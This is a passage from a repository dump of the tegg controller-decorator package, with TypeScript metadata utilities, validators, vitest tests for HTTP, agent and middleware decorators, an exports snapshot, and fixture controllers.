methodControllerMap.set(methodName, true);\n  }\n\n  static setMethodTimeout(timeout: number, clazz: EggProtoImplClass, methodName: string): void {\n    const methodTimeoutMap: MethodTimeoutMap = MetadataUtil.initOwnMapMetaData(\n      METHOD_TIMEOUT_METADATA,\n      clazz,\n      new Map(),\n    );\n    methodTimeoutMap.set(methodName, timeout);\n  }\n\n  static getMethodTimeout(clazz: EggProtoImplClass, methodName: string): number | undefined {\n    const methodTimeoutMap: MethodTimeoutMap | undefined = MetadataUtil.getMetaData(METHOD_TIMEOUT_METADATA, clazz);\n    return methodTimeoutMap?.get(methodName);\n  }\n}\n"
  },
  {
    "path": "tegg/core/controller-decorator/src/util/index.ts",
    "content": "export * from './validator/index.ts';\nexport * from './AgentInfoUtil.ts';\nexport * from './ControllerInfoUtil.ts';\nexport * from './ControllerMetadataUtil.ts';\nexport * from './HTTPInfoUtil.ts';\nexport * from './HTTPPriorityUtil.ts';\nexport * from './MCPInfoUtil.ts';\nexport * from './MethodInfoUtil.ts';\n"
  },
  {
    "path": "tegg/core/controller-decorator/src/util/validator/ControllerValidator.ts",
    "content": "import { ClassUtil } from '@eggjs/metadata';\nimport type { EggProtoImplClass } from '@eggjs/tegg-types';\n\nimport { ControllerInfoUtil } from '../ControllerInfoUtil.ts';\n\nexport class ControllerValidator {\n  // should throw error\n  // 1. use controller middleware but not has controller decorator\n  static validate(clazz: EggProtoImplClass): void {\n    const controllerType = ControllerInfoUtil.getControllerType(clazz);\n    const middlewares = ControllerInfoUtil.getControllerMiddlewares(clazz);\n    if (middlewares.length && !controllerType) {\n      const desc = ClassUtil.classDescription(clazz);\n      throw new Error(`${desc} @Middleware should use with controller decorator`);\n    }\n  }\n}\n"
  },
  {
    "path": "tegg/core/controller-decorator/src/util/validator/MethodValidator.ts",
    "content": "import { ClassUtil } from '@eggjs/metadata';\nimport type { EggProtoImplClass } from '@eggjs/tegg-types';\n\nimport { ControllerInfoUtil } from '../ControllerInfoUtil.ts';\nimport { MethodInfoUtil } from '../MethodInfoUtil.ts';\n\nexport class MethodValidator {\n  // should throw error\n  // 1. use method middleware but not has method decorator\n  // 2. use context decorator but not has method decorator\n  // 3. method decorator type is not same as controller decorator type\n  static validate(clazz: EggProtoImplClass, methodName: string): void {\n    const methodControllerType = MethodInfoUtil.getMethodControllerType(clazz, methodName);\n    const methodMiddlewares = MethodInfoUtil.getMethodMiddlewares(clazz, methodName);\n    const contextIndex = MethodInfoUtil.getMethodContextIndex(clazz, methodName);\n    if (!methodControllerType) {\n      if (methodMiddlewares.length) {\n        const desc = ClassUtil.classDescription(clazz);\n        throw new Error(`${desc}:${methodName} @Middleware should use with method decorator`);\n      }\n      if (contextIndex !== undefined) {\n        const desc = ClassUtil.classDescription(clazz);\n        throw new Error(`${desc}:${methodName} @Context should use with method decorator`);\n      }\n      return;\n    }\n    const controllerType = ControllerInfoUtil.getControllerType(clazz);\n    if (methodControllerType !== controllerType) {\n      const desc = ClassUtil.classDescription(clazz);\n      throw new Error(\n        `${desc}:${methodName} method decorator ${methodControllerType} can not be used with ${controllerType}`,\n      );\n    }\n  }\n}\n"
  },
  {
    "path": "tegg/core/controller-decorator/src/util/validator/index.ts",
    "content": "export * from './ControllerValidator.ts';\nexport * from './MethodValidator.ts';\n"
  },
  {
    "path": "tegg/core/controller-decorator/test/Acl.test.ts",
    "content": "import assert from 'node:assert/strict';\n\nimport { ControllerType } from '@eggjs/tegg-types';\nimport { describe, it } from 'vitest';\n\nimport { ControllerMetaBuilderFactory, HTTPControllerMeta } from '../src/index.js';\nimport { AclController } from './fixtures/AclController.js';\n\ndescribe('test/Acl.test.ts', () => {\n  it('should work', () => {\n    const builder = ControllerMetaBuilderFactory.createControllerMetaBuilder(AclController, ControllerType.HTTP)!;\n    const aclControllerMeta = builder.build()! as HTTPControllerMeta;\n    const fooMethod = aclControllerMeta.methods.find((t) => t.name === 'foo')!;\n    const barMethod = aclControllerMeta.methods.find((t) => t.name === 'bar')!;\n    const fooAcl = aclControllerMeta.getMethodAcl(fooMethod);\n    const barAcl = aclControllerMeta.getMethodAcl(barMethod);\n    assert.equal(fooAcl, 'mock2');\n    assert.equal(barAcl, 'mock1');\n  });\n});\n"
  },
  {
    "path": "tegg/core/controller-decorator/test/AgentController.test.ts",
    "content": "import assert from 'node:assert/strict';\n\nimport { ControllerType, HTTPMethodEnum } from '@eggjs/tegg-types';\nimport { describe, it } from 'vitest';\n\nimport {\n  AgentInfoUtil,\n  ControllerMetaBuilderFactory,\n  BodyParamMeta,\n  PathParamMeta,\n  ControllerInfoUtil,\n  MethodInfoUtil,\n  HTTPInfoUtil,\n} from '../src/index.ts';\nimport { HTTPControllerMeta } from '../src/model/index.ts';\nimport { AgentFooController } from './fixtures/AgentFooController.js';\n\ndescribe('core/controller-decorator/test/AgentController.test.ts', () => {\n  describe('decorator metadata', () => {\n    it('should set ControllerType.HTTP on the class', () => {\n      const controllerType = ControllerInfoUtil.getControllerType(AgentFooController);\n      assert.strictEqual(controllerType, ControllerType.HTTP);\n    });\n\n    it('should set AGENT_CONTROLLER metadata on the class', () => {\n      assert.strictEqual(AgentInfoUtil.isAgentController(AgentFooController), true);\n    });\n\n    it('should set fixed base path /api/v1', () => {\n      const httpPath = HTTPInfoUtil.getHTTPPath(AgentFooController);\n      assert.strictEqual(httpPath, '/api/v1');\n    });\n  });\n\n  describe('method HTTP metadata', () => {\n    const methodRoutes = [\n      { methodName: 'createThread', httpMethod: HTTPMethodEnum.POST, path: '/threads' },\n      { methodName: 'getThread', httpMethod: HTTPMethodEnum.GET, path: '/threads/:id' },\n      { methodName: 'asyncRun', httpMethod: HTTPMethodEnum.POST, path: '/runs' },\n      { methodName: 'streamRun', httpMethod: HTTPMethodEnum.POST, path: '/runs/stream' },\n      { methodName: 'syncRun', httpMethod: HTTPMethodEnum.POST, path: '/runs/wait' },\n      { methodName: 'getRun', httpMethod: HTTPMethodEnum.GET, path: '/runs/:id' },\n      { methodName: 'cancelRun', httpMethod: HTTPMethodEnum.POST, path: '/runs/:id/cancel' },\n    ];\n\n    for (const route of methodRoutes) {\n      it(`should set correct HTTP method for ${route.methodName}`, () => {\n        const method = HTTPInfoUtil.getHTTPMethodMethod(AgentFooController, route.methodName);\n        assert.strictEqual(method, route.httpMethod);\n      });\n\n      it(`should set correct HTTP path for ${route.methodName}`, () => {\n        const path = HTTPInfoUtil.getHTTPMethodPath(AgentFooController, route.methodName);\n        assert.strictEqual(path, route.path);\n      });\n\n      it(`should set ControllerType.HTTP on method ${route.methodName}`, () => {\n        const controllerType = MethodInfoUtil.getMethodControllerType(AgentFooController, route.methodName);\n        assert.strictEqual(controllerType, ControllerType.HTTP);\n      });\n    }\n  });\n\n  describe('parameter metadata', () => {\n    it('should set BODY param at index 0 for asyncRun', () => {\n      const paramType = HTTPInfoUtil.getHTTPMethodParamType(0, AgentFooController, 'asyncRun');\n      assert.strictEqual(paramType, 'BODY');\n    });\n\n    it('should set BODY param at index 0 for streamRun', () => {\n      const paramType = HTTPInfoUtil.getHTTPMethodParamType(0, AgentFooController, 'streamRun');\n      assert.strictEqual(paramType, 'BODY');\n    });\n\n    it('should set BODY param at index 0 for syncRun', () => {\n      const paramType = HTTPInfoUtil.getHTTPMethodParamType(0, AgentFooController, 'syncRun');\n      assert.strictEqual(paramType, 'BODY');\n    });\n\n    it('should set PARAM at index 0 with name \"id\" for getThread', () => {\n      const paramType = HTTPInfoUtil.getHTTPMethodParamType(0, AgentFooController, 'getThread');\n      assert.strictEqual(paramType, 'PARAM');\n      const paramName = HTTPInfoUtil.getHTTPMethodParamName(0, AgentFooController, 'getThread');\n      assert.strictEqual(paramName, 'id');\n    });\n\n    it('should set PARAM at index 0 with name \"id\" for getRun', () => {\n      const paramType = HTTPInfoUtil.getHTTPMethodParamType(0, AgentFooController, 'getRun');\n      assert.strictEqual(paramType, 'PARAM');\n      const paramName = HTTPInfoUtil.getHTTPMethodParamName(0, AgentFooController, 'getRun');\n      assert.strictEqual(paramName, 'id');\n    });\n\n    it('should set PARAM at index 0 with name \"id\" for cancelRun', () => {\n      const paramType = HTTPInfoUtil.getHTTPMethodParamType(0, AgentFooController, 'cancelRun');\n      assert.strictEqual(paramType, 'PARAM');\n      const paramName = HTTPInfoUtil.getHTTPMethodParamName(0, AgentFooController, 'cancelRun');\n      assert.strictEqual(paramName, 'id');\n    });\n\n    it('should not have params for createThread', () => {\n      const paramIndexList = HTTPInfoUtil.getParamIndexList(AgentFooController, 'createThread');\n      assert.strictEqual(paramIndexList.length, 0);\n    });\n  });\n\n  describe('context index', () => {\n    it('should not set contextIndex on any method', () => {\n      const methods = ['createThread', 'getThread', 'asyncRun', 'streamRun', 'syncRun', 'getRun', 'cancelRun'];\n      for (const methodName of methods) {\n        const contextIndex = MethodInfoUtil.getMethodContextIndex(AgentFooController, methodName);\n        assert.strictEqual(contextIndex, undefined, `${methodName} should not have contextIndex`);\n      }\n    });\n  });\n\n  describe('AgentInfoUtil.setEnhanced / isEnhanced', () => {\n    it('should return false before setEnhanced is called', () => {\n      class NotEnhanced {}\n      assert.strictEqual(AgentInfoUtil.isEnhanced(NotEnhanced), false);\n    });\n\n    it('should return true after setEnhanced is called', () => {\n      class ToBeEnhanced {}\n      AgentInfoUtil.setEnhanced(ToBeEnhanced);\n      assert.strictEqual(AgentInfoUtil.isEnhanced(ToBeEnhanced), true);\n    });\n  });\n\n  describe('default implementations', () => {\n    it('should inject default stubs for all 7 route methods', () => {\n      // AgentFooController only implements execRun (smart defaults pattern)\n      // All 7 route methods should have stub defaults that throw\n      const proto = AgentFooController.prototype as any;\n      const routeMethods = ['createThread', 'getThread', 'asyncRun', 'streamRun', 'syncRun', 'getRun', 'cancelRun'];\n      for (const methodName of routeMethods) {\n        assert(typeof proto[methodName] === 'function', `${methodName} should be a function`);\n        assert.strictEqual(\n          AgentInfoUtil.isNotImplemented(proto[methodName]),\n          true,\n          `${methodName} should be marked as AGENT_NOT_IMPLEMENTED`,\n        );\n      }\n    });\n\n    const stubMethods = [\n      { name: 'createThread', args: [] },\n      { name: 'getThread', args: ['thread_1'] },\n      { name: 'asyncRun', args: [{ input: { messages: [] } }] },\n      { name: 'streamRun', args: [{ input: { messages: [] } }] },\n      { name: 'syncRun', args: [{ input: { messages: [] } }] },\n      { name: 'getRun', args: ['run_1'] },\n      { name: 'cancelRun', args: ['run_1'] },\n    ];\n\n    for (const { name, args } of stubMethods) {\n      it(`should throw for unimplemented ${name}`, async () => {\n        const instance = new AgentFooController() as any;\n        await assert.rejects(() => instance[name](...args), new RegExp(`${name} not implemented`));\n      });\n    }\n  });\n\n  describe('HTTPControllerMetaBuilder integration', () => {\n    it('should build metadata with 7 HTTPMethodMeta entries', () => {\n      const meta = ControllerMetaBuilderFactory.build(AgentFooController, ControllerType.HTTP) as HTTPControllerMeta;\n      assert(meta);\n      assert.strictEqual(meta.methods.length, 7);\n      assert.strictEqual(meta.path, '/api/v1');\n    });\n\n    it('should produce correct route metadata for each method', () => {\n      const meta = ControllerMetaBuilderFactory.build(AgentFooController, ControllerType.HTTP) as HTTPControllerMeta;\n\n      const createThread = meta.methods.find((m) => m.name === 'createThread')!;\n      assert.strictEqual(createThread.path, '/threads');\n      assert.strictEqual(createThread.method, HTTPMethodEnum.POST);\n      assert.strictEqual(createThread.paramMap.size, 0);\n\n      const getThread = meta.methods.find((m) => m.name === 'getThread')!;\n      assert.strictEqual(getThread.path, '/threads/:id');\n      assert.strictEqual(getThread.method, HTTPMethodEnum.GET);\n      assert.deepStrictEqual(getThread.paramMap, new Map([[0, new PathParamMeta('id')]]));\n\n      const asyncRun = meta.methods.find((m) => m.name === 'asyncRun')!;\n      assert.strictEqual(asyncRun.path, '/runs');\n      assert.strictEqual(asyncRun.method, HTTPMethodEnum.POST);\n      assert.deepStrictEqual(asyncRun.paramMap, new Map([[0, new BodyParamMeta()]]));\n\n      const streamRun = meta.methods.find((m) => m.name === 'streamRun')!;\n      assert.strictEqual(streamRun.path, '/runs/stream');\n      assert.strictEqual(streamRun.method, HTTPMethodEnum.POST);\n      assert.deepStrictEqual(streamRun.paramMap, new Map([[0, new BodyParamMeta()]]));\n\n      const syncRun = meta.methods.find((m) => m.name === 'syncRun')!;\n      assert.strictEqual(syncRun.path, '/runs/wait');\n      assert.strictEqual(syncRun.method, HTTPMethodEnum.POST);\n      assert.deepStrictEqual(syncRun.paramMap, new Map([[0, new BodyParamMeta()]]));\n\n      const getRun = meta.methods.find((m) => m.name === 'getRun')!;\n      assert.strictEqual(getRun.path, '/runs/:id');\n      assert.strictEqual(getRun.method, HTTPMethodEnum.GET);\n      assert.deepStrictEqual(getRun.paramMap, new Map([[0, new PathParamMeta('id')]]));\n\n      const cancelRun = meta.methods.find((m) => m.name === 'cancelRun')!;\n      assert.strictEqual(cancelRun.path, '/runs/:id/cancel');\n      assert.strictEqual(cancelRun.method, HTTPMethodEnum.POST);\n      assert.deepStrictEqual(cancelRun.paramMap, new Map([[0, new PathParamMeta('id')]]));\n    });\n\n    it('should have all real paths start with /', () => {\n      const meta = ControllerMetaBuilderFactory.build(AgentFooController, ControllerType.HTTP) as HTTPControllerMeta;\n      for (const method of meta.methods) {\n        const realPath = meta.getMethodRealPath(method);\n        assert(realPath.startsWith('/'), `${method.name} real path \"${realPath}\" should start with /`);\n      }\n    });\n  });\n});\n"
  },
  {
    "path": "tegg/core/controller-decorator/test/Context.test.ts",
    "content": "import assert from 'node:assert/strict';\n\nimport { describe, it } from 'vitest';\n\nimport { MethodInfoUtil } from '../src/util/index.js';\nimport { ContextController } from './fixtures/ContextController.js';\n\ndescribe('test/Context.test.ts', () => {\n  it('should work', () => {\n    const contextIndex = MethodInfoUtil.getMethodContextIndex(ContextController, 'hello');\n    assert.equal(contextIndex, 0);\n  });\n});\n"
  },
  {
    "path": "tegg/core/controller-decorator/test/Middleware.test.ts",
    "content": "import assert from 'node:assert/strict';\n\nimport { describe, it } from 'vitest';\n\nimport { ControllerInfoUtil, MethodInfoUtil } from '../src/index.js';\nimport {\n  AopMiddlewareController,\n  BarAdvice,\n  BarMethodAdvice,\n  FooAdvice,\n  FooMethodAdvice,\n} from './fixtures/AopMiddlewareController.js';\nimport { MiddlewareController, MiddlewaresController } from './fixtures/MiddlewareController.js';\n\ndescribe('test/Middleware.test.ts', () => {\n  it('should work', () => {\n    const controllerMws = ControllerInfoUtil.getControllerMiddlewares(MiddlewareController);\n    const methodMws = MethodInfoUtil.getMethodMiddlewares(MiddlewareController, 'hello');\n    assert.equal(controllerMws.length, 1);\n    assert.equal(methodMws.length, 2);\n  });\n  it('Middleware with muti params should work', () => {\n    const controllerMws = ControllerInfoUtil.getControllerMiddlewares(MiddlewaresController);\n    const methodMws = MethodInfoUtil.getMethodMiddlewares(MiddlewaresController, 'hello');\n    assert.equal(controllerMws.length, 1);\n    assert.equal(methodMws.length, 2);\n  });\n\n  it('controller Aop Middleware should work', () => {\n    const controllerAopMws = ControllerInfoUtil.getControllerAopMiddlewares(AopMiddlewareController);\n    const helloMethodMws = MethodInfoUtil.getMethodAopMiddlewares(AopMiddlewareController, 'hello');\n    const byeMethodMws = MethodInfoUtil.getMethodAopMiddlewares(AopMiddlewareController, 'bye');\n    assert.deepEqual(controllerAopMws, [FooAdvice, BarAdvice]);\n    assert.deepEqual(helloMethodMws, [FooMethodAdvice, BarMethodAdvice]);\n    assert.deepEqual(byeMethodMws, []);\n  });\n});\n"
  },
  {
    "path": "tegg/core/controller-decorator/test/__snapshots__/index.test.ts.snap",
    "content": "// Vitest Snapshot v1, https://vitest.dev/guide/snapshot.html\n\nexports[`should export stable 1`] = `\n{\n  \"AGENT_CONTROLLER_PROTO_IMPL_TYPE\": \"AGENT_CONTROLLER_PROTO\",\n  \"Acl\": [Function],\n  \"AgentController\": [Function],\n  \"AgentInfoUtil\": [Function],\n  \"BodyParamMeta\": [Function],\n  \"CONTROLLER_ACL\": Symbol(EggPrototype#controller#acl),\n  \"CONTROLLER_AGENT_CONTROLLER\": Symbol(EggPrototype#controller#agent#isAgent),\n  \"CONTROLLER_AGENT_ENHANCED\": Symbol(EggPrototype#controller#agent#enhanced),\n  \"CONTROLLER_AGENT_NOT_IMPLEMENTED\": Symbol(EggPrototype#controller#agent#notImplemented),\n  \"CONTROLLER_AOP_MIDDLEWARES\": Symbol(EggPrototype#controller#aopMiddlewares),\n  \"CONTROLLER_HOST\": Symbol(EggPrototype#controllerHost),\n  \"CONTROLLER_HTTP_PATH\": Symbol(EggPrototype#controller#http#path),\n  \"CONTROLLER_MCP_CONTROLLER_PARAMS_MAP\": Symbol(EggPrototype#controller#mcp#params),\n  \"CONTROLLER_MCP_EXTRA_INDEX\": Symbol(EggPrototype#controller#mcp#extra),\n  \"CONTROLLER_MCP_NAME\": Symbol(EggPrototype#controller#mcp#name),\n  \"CONTROLLER_MCP_PROMPT_ARGS_INDEX\": Symbol(EggPrototype#controller#mcp#prompt#args),\n  \"CONTROLLER_MCP_PROMPT_MAP\": Symbol(EggPrototype#controller#mcp#prompt),\n  \"CONTROLLER_MCP_PROMPT_PARAMS_MAP\": Symbol(EggPrototype#controller#mcp#prompt#params),\n  \"CONTROLLER_MCP_RESOURCE_MAP\": Symbol(EggPrototype#controller#mcp#resource),\n  \"CONTROLLER_MCP_RESOURCE_PARAMS_MAP\": Symbol(EggPrototype#controller#mcp#resource#params),\n  \"CONTROLLER_MCP_TOOL_ARGS_INDEX\": Symbol(EggPrototype#controller#mcp#tool#args),\n  \"CONTROLLER_MCP_TOOL_MAP\": Symbol(EggPrototype#controller#mcp#tool),\n  \"CONTROLLER_MCP_TOOL_PARAMS_MAP\": Symbol(EggPrototype#controller#mcp#tool#params),\n  \"CONTROLLER_MCP_VERSION\": Symbol(EggPrototype#controller#mcp#version),\n  \"CONTROLLER_META_DATA\": Symbol(EggPrototype#controller#metaData),\n  \"CONTROLLER_METHOD_METHOD_MAP\": Symbol(EggPrototype#controller#method#http#method),\n  \"CONTROLLER_METHOD_PARAM_NAME_MAP\": Symbol(EggPrototype#controller#method#http#params#name),\n  \"CONTROLLER_METHOD_PARAM_TYPE_MAP\": Symbol(EggPrototype#controller#method#http#params#type),\n  \"CONTROLLER_METHOD_PATH_MAP\": Symbol(EggPrototype#controller#method#http#path),\n  \"CONTROLLER_METHOD_PRIORITY\": Symbol(EggPrototype#controller#method#http#priority),\n  \"CONTROLLER_MIDDLEWARES\": Symbol(EggPrototype#controller#middlewares),\n  \"CONTROLLER_NAME\": Symbol(EggPrototype#controllerName),\n  \"CONTROLLER_TIMEOUT_METADATA\": Symbol(EggPrototype#controller#timeout),\n  \"CONTROLLER_TYPE\": Symbol(EggPrototype#controllerType),\n  \"ControllerInfoUtil\": [Function],\n  \"ControllerMetaBuilderFactory\": [Function],\n  \"ControllerMetadataUtil\": [Function],\n  \"ControllerType\": {\n    \"HEADERS\": \"HEADERS\",\n    \"HTTP\": \"HTTP\",\n    \"MCP\": \"MCP\",\n    \"MESSAGE\": \"MESSAGE\",\n    \"MGW_RPC\": \"MGW_RPC\",\n    \"MGW_RPC_STREAM\": \"MGW_RPC_STREAM\",\n    \"SCHEDULE\": \"SCHEDULE\",\n    \"SOFA_RPC\": \"SOFA_RPC\",\n    \"SOFA_RPC_STREAM\": \"SOFA_RPC_STREAM\",\n  },\n  \"ControllerValidator\": [Function],\n  \"Cookies\": [Function],\n  \"CookiesParamMeta\": [Function],\n  \"Extra\": [Function],\n  \"HTTPBody\": [Function],\n  \"HTTPContext\": [Function],\n  \"HTTPController\": [Function],\n  \"HTTPControllerMeta\": [Function],\n  \"HTTPControllerMetaBuilder\": [Function],\n  \"HTTPControllerMethodMetaBuilder\": [Function],\n  \"HTTPCookies\": [Function],\n  \"HTTPHeaders\": [Function],\n  \"HTTPInfoUtil\": [Function],\n  \"HTTPMethod\": [Function],\n  \"HTTPMethodEnum\": {\n    \"DELETE\": \"DELETE\",\n    \"GET\": \"GET\",\n    \"HEAD\": \"HEAD\",\n    \"OPTIONS\": \"OPTIONS\",\n    \"PATCH\": \"PATCH\",\n    \"POST\": \"POST\",\n    \"PUT\": \"PUT\",\n  },\n  \"HTTPMethodMeta\": [Function],\n  \"HTTPParam\": [Function],\n  \"HTTPParamType\": {\n    \"BODY\": \"BODY\",\n    \"COOKIES\": \"COOKIES\",\n    \"HEADERS\": \"HEADERS\",\n    \"PARAM\": \"PARAM\",\n    \"QUERIES\": \"QUERIES\",\n    \"QUERY\": \"QUERY\",\n    \"REQUEST\": \"REQUEST\",\n  },\n  \"HTTPPriorityUtil\": [Function],\n  \"HTTPQueries\": [Function],\n  \"HTTPQuery\": [Function],\n  \"HTTPRequest\": [Function],\n  \"HTTPResponse\": [Function],\n  \"HeadersParamMeta\": [Function],\n  \"Host\": [Function],\n  \"InjectContext\": [Function],\n  \"MCPController\": [Function],\n  \"MCPControllerMeta\": [Function],\n  \"MCPControllerMetaBuilder\": [Function],\n  \"MCPControllerPromptMetaBuilder\": [Function],\n  \"MCPControllerResourceMetaBuilder\": [Function],\n  \"MCPControllerToolMetaBuilder\": [Function],\n  \"MCPInfoUtil\": [Function],\n  \"MCPPrompt\": [Function],\n  \"MCPPromptMeta\": [Function],\n  \"MCPProtocols\": {\n    \"SSE\": \"SSE\",\n    \"STDIO\": \"STDIO\",\n    \"STREAM\": \"STREAM\",\n  },\n  \"MCPResource\": [Function],\n  \"MCPResourceMeta\": [Function],\n  \"MCPTool\": [Function],\n  \"MCPToolMeta\": [Function],\n  \"METHOD_ACL\": Symbol(EggPrototype#method#acl),\n  \"METHOD_AOP_MIDDLEWARES\": Symbol(EggPrototype#method#aopMiddlewares),\n  \"METHOD_AOP_REGISTER_MAP\": Symbol(EggPrototype#method#aopMiddlewaresRegister),\n  \"METHOD_CONTEXT_INDEX\": Symbol(EggPrototype#controller#method#context),\n  \"METHOD_CONTROLLER_HOST\": Symbol(EggPrototype#controller#mthods#host),\n  \"METHOD_CONTROLLER_TYPE_MAP\": Symbol(EggPrototype#controller#mthods),\n  \"METHOD_MIDDLEWARES\": Symbol(EggPrototype#method#middlewares),\n  \"METHOD_TIMEOUT_METADATA\": Symbol(EggPrototype#method#timeout),\n  \"MethodInfoUtil\": [Function],\n  \"MethodType\": {\n    \"HTTP\": \"HTTP\",\n    \"MESSAGE\": \"MESSAGE\",\n    \"MGW_RPC\": \"MGW_RPC\",\n    \"MGW_RPC_STREAM\": \"MGW_RPC_STREAM\",\n    \"SCHEDULE\": \"SCHEDULE\",\n    \"SOFA_RPC\": \"SOFA_RPC\",\n    \"SOFA_RPC_STREAM\": \"SOFA_RPC_STREAM\",\n  },\n  \"MethodValidator\": [Function],\n  \"Middleware\": [Function],\n  \"ParamMeta\": [Function],\n  \"ParamMetaUtil\": [Function],\n  \"PathParamMeta\": [Function],\n  \"PromptArgsSchema\": [Function],\n  \"QueriesParamMeta\": [Function],\n  \"QueryParamMeta\": [Function],\n  \"RequestParamMeta\": [Function],\n  \"ToolArgsSchema\": [Function],\n}\n`;\n"
  },
  {
    "path": "tegg/core/controller-decorator/test/decorators.test.ts",
    "content": "import assert from 'node:assert/strict';\n\nimport { PrototypeUtil } from '@eggjs/core-decorator';\nimport { describe, it } from 'vitest';\n\nimport { FooController } from './fixtures/HTTPFooController.js';\n\ndescribe('test/decorators.test.ts', () => {\n  describe('', () => {\n    it('should get the right file path', () => {\n      console.warn(FooController.fileName);\n      console.warn(PrototypeUtil.getFilePath(FooController));\n      assert.equal(PrototypeUtil.getFilePath(FooController), FooController.fileName);\n    });\n  });\n});\n"
  },
  {
    "path": "tegg/core/controller-decorator/test/fixtures/AclController.ts",
    "content": "import { HTTPMethodEnum } from '@eggjs/tegg-types';\n\nimport { Acl, HTTPController, HTTPMethod } from '../../src/index.ts';\n\n@Acl('mock1')\n@HTTPController()\nexport class AclController {\n  @Acl('mock2')\n  @HTTPMethod({\n    path: '/foo',\n    method: HTTPMethodEnum.GET,\n  })\n  async foo(): Promise<void> {\n    console.log('hello,acl');\n  }\n\n  @HTTPMethod({\n    path: '/bar',\n    method: HTTPMethodEnum.GET,\n  })\n  async bar(): Promise<void> {\n    console.log('hello,acl');\n  }\n}\n"
  },
  {
    "path": "tegg/core/controller-decorator/test/fixtures/AgentFooController.ts",
    "content": "import type { CreateRunInput, AgentStreamMessage } from '@eggjs/tegg-types/agent-runtime';\n\nimport { AgentController } from '../../src/decorator/agent/AgentController.ts';\nimport type { AgentHandler } from '../../src/decorator/agent/AgentHandler.ts';\n\n// AgentController that only implements execRun (smart defaults pattern)\n@AgentController()\nexport class AgentFooController implements AgentHandler {\n  async createStore(): Promise<unknown> {\n    return new Map();\n  }\n\n  async *execRun(input: CreateRunInput): AsyncGenerator<AgentStreamMessage> {\n    const messages = input.input.messages;\n    yield {\n      type: 'assistant',\n      message: {\n        role: 'assistant',\n        content: [{ type: 'text', text: `Processed ${messages.length} messages` }],\n      },\n    };\n  }\n}\n"
  },
  {
    "path": "tegg/core/controller-decorator/test/fixtures/AopMiddlewareController.ts",
    "content": "import { Advice } from '@eggjs/aop-decorator';\nimport { HTTPMethodEnum, type IAdvice, ObjectInitType } from '@eggjs/tegg-types';\n\nimport { Middleware, HTTPController, HTTPMethod } from '../../src/index.ts';\n\n@Advice({\n  initType: ObjectInitType.SINGLETON,\n})\nexport class FooAdvice implements IAdvice {\n  async beforeCall(): Promise<void> {\n    // ...\n  }\n}\n\n@Advice({\n  initType: ObjectInitType.SINGLETON,\n})\nexport class BarAdvice implements IAdvice {\n  async beforeCall(): Promise<void> {\n    // ...\n  }\n}\n\n@Advice({\n  initType: ObjectInitType.SINGLETON,\n})\nexport class FooMethodAdvice implements IAdvice {\n  async beforeCall(): Promise<void> {\n    // ...\n  }\n}\n\n@Advice({\n  initType: ObjectInitType.SINGLETON,\n})\nexport class BarMethodAdvice implements IAdvice {\n  async beforeCall(): Promise<void> {\n    // ...\n  }\n}\n\n@Middleware(FooAdvice, BarAdvice)\n@HTTPController()\nexport class AopMiddlewareController {\n  @Middleware(FooMethodAdvice, BarMethodAdvice)\n  @HTTPMethod({\n    method: HTTPMethodEnum.GET,\n    path: '/hello',\n  })\n  async hello(): Promise<void> {\n    return;\n  }\n\n  @HTTPMethod({\n    method: HTTPMethodEnum.GET,\n    path: '/bye',\n  })\n  async bye(): Promise<void> {\n    return;\n  }\n}\n"
  },
  {
    "path": "tegg/core/controller-decorator/test/fixtures/ContextController.ts",
    "content": "import { HTTPContext } from '../../src/index.ts';\n\nexport class ContextController {\n  async hello(@HTTPContext() ctx: object): Promise<void> {\n    console.log('ctx:', ctx);\n  }\n}\n"
  },
  {
    "path": "tegg/core/controller-decorator/test/fixtures/HTTPFooController.ts",
    "content": "import { HTTPMethodEnum } from '@eggjs/tegg-types';\nimport type { EggContext, Next, IncomingHttpHeaders } from '@eggjs/tegg-types';\n\nimport {\n  HTTPController,\n  HTTPContext,\n  Middleware,\n  HTTPBody,\n  HTTPParam,\n  HTTPQueries,\n  HTTPQuery,\n  HTTPHeaders,\n  HTTPMethod,\n} from '../../src/index.ts';\n\nasync function middleware1(ctx: EggContext, next: Next) {\n  console.log(ctx, next);\n}\n\nasync function middleware2(ctx: EggContext, next: Next) {\n  console.log(ctx, next);\n}\n\nasync function middleware3(ctx: EggContext, next: Next) {\n  console.log(ctx, next);\n}\n\n@HTTPController({\n  path: '/foo',\n})\n@Middleware(middleware1)\nexport class FooController {\n  static fileName: string =\n    process.platform === 'win32' ? import.meta.filename.replaceAll('\\\\', '/') : import.meta.filename;\n\n  @HTTPMethod({\n    path: '/bar/:id',\n    method: HTTPMethodEnum.POST,\n  })\n  @Middleware(middleware2)\n  @Middleware(middleware3)\n  async bar(\n    @HTTPContext() ctx: EggContext,\n    @HTTPBody() body: unknown,\n    @HTTPQuery() query: Record<string, unknown>,\n    @HTTPQueries() queries: Record<string, unknown[]>,\n    @HTTPParam() id: string,\n  ): Promise<void> {\n    console.log(ctx, body, query, queries, id);\n  }\n}\n\n@HTTPController({\n  path: '/foo/:fooId',\n})\nexport class ControllerWithParam {\n  static fileName: string =\n    process.platform === 'win32' ? import.meta.filename.replaceAll('\\\\', '/') : import.meta.filename;\n\n  @HTTPMethod({\n    path: '/bar/:id',\n    method: HTTPMethodEnum.GET,\n  })\n  async bar(\n    @HTTPContext() ctx: EggContext,\n    @HTTPParam() id: string,\n    @HTTPParam() fooId: string,\n    @HTTPHeaders() headers: IncomingHttpHeaders,\n  ): Promise<void> {\n    console.log(ctx, id, fooId, headers);\n  }\n}\n\n@HTTPController({\n  controllerName: 'FxxController',\n})\nexport class FoxController {\n  @HTTPMethod({\n    path: '/bar/:id',\n    method: HTTPMethodEnum.POST,\n  })\n  @Middleware(middleware2)\n  @Middleware(middleware3)\n  async bar(\n    @HTTPContext() ctx: EggContext,\n    @HTTPBody() body: unknown,\n    @HTTPQuery() query: Record<string, unknown>,\n    @HTTPQueries() queries: Record<string, unknown[]>,\n    @HTTPParam() id: string,\n  ): Promise<void> {\n    console.log(ctx, body, query, queries, id);\n  }\n}\n\n@HTTPController({\n  protoName: 'FooController',\n})\nexport class FxxController {\n  @HTTPMethod({\n    path: '/bar/:id',\n    method: HTTPMethodEnum.POST,\n  })\n  @Middleware(middleware2)\n  @Middleware(middleware3)\n  async bar(\n    @HTTPContext() ctx: EggContext,\n    @HTTPBody() body: unknown,\n    @HTTPQuery() query: Record<string, unknown>,\n    @HTTPQueries() queries: Record<string, unknown[]>,\n    @HTTPParam() id: string,\n  ): Promise<void> {\n    console.log(ctx, body, query, queries, id);\n  }\n}\n\n@HTTPController()\nexport class ParentController {}\n\n@HTTPController()\nexport class ChildController extends ParentController {}\n\n@HTTPController()\nexport class DefaultValueController {\n  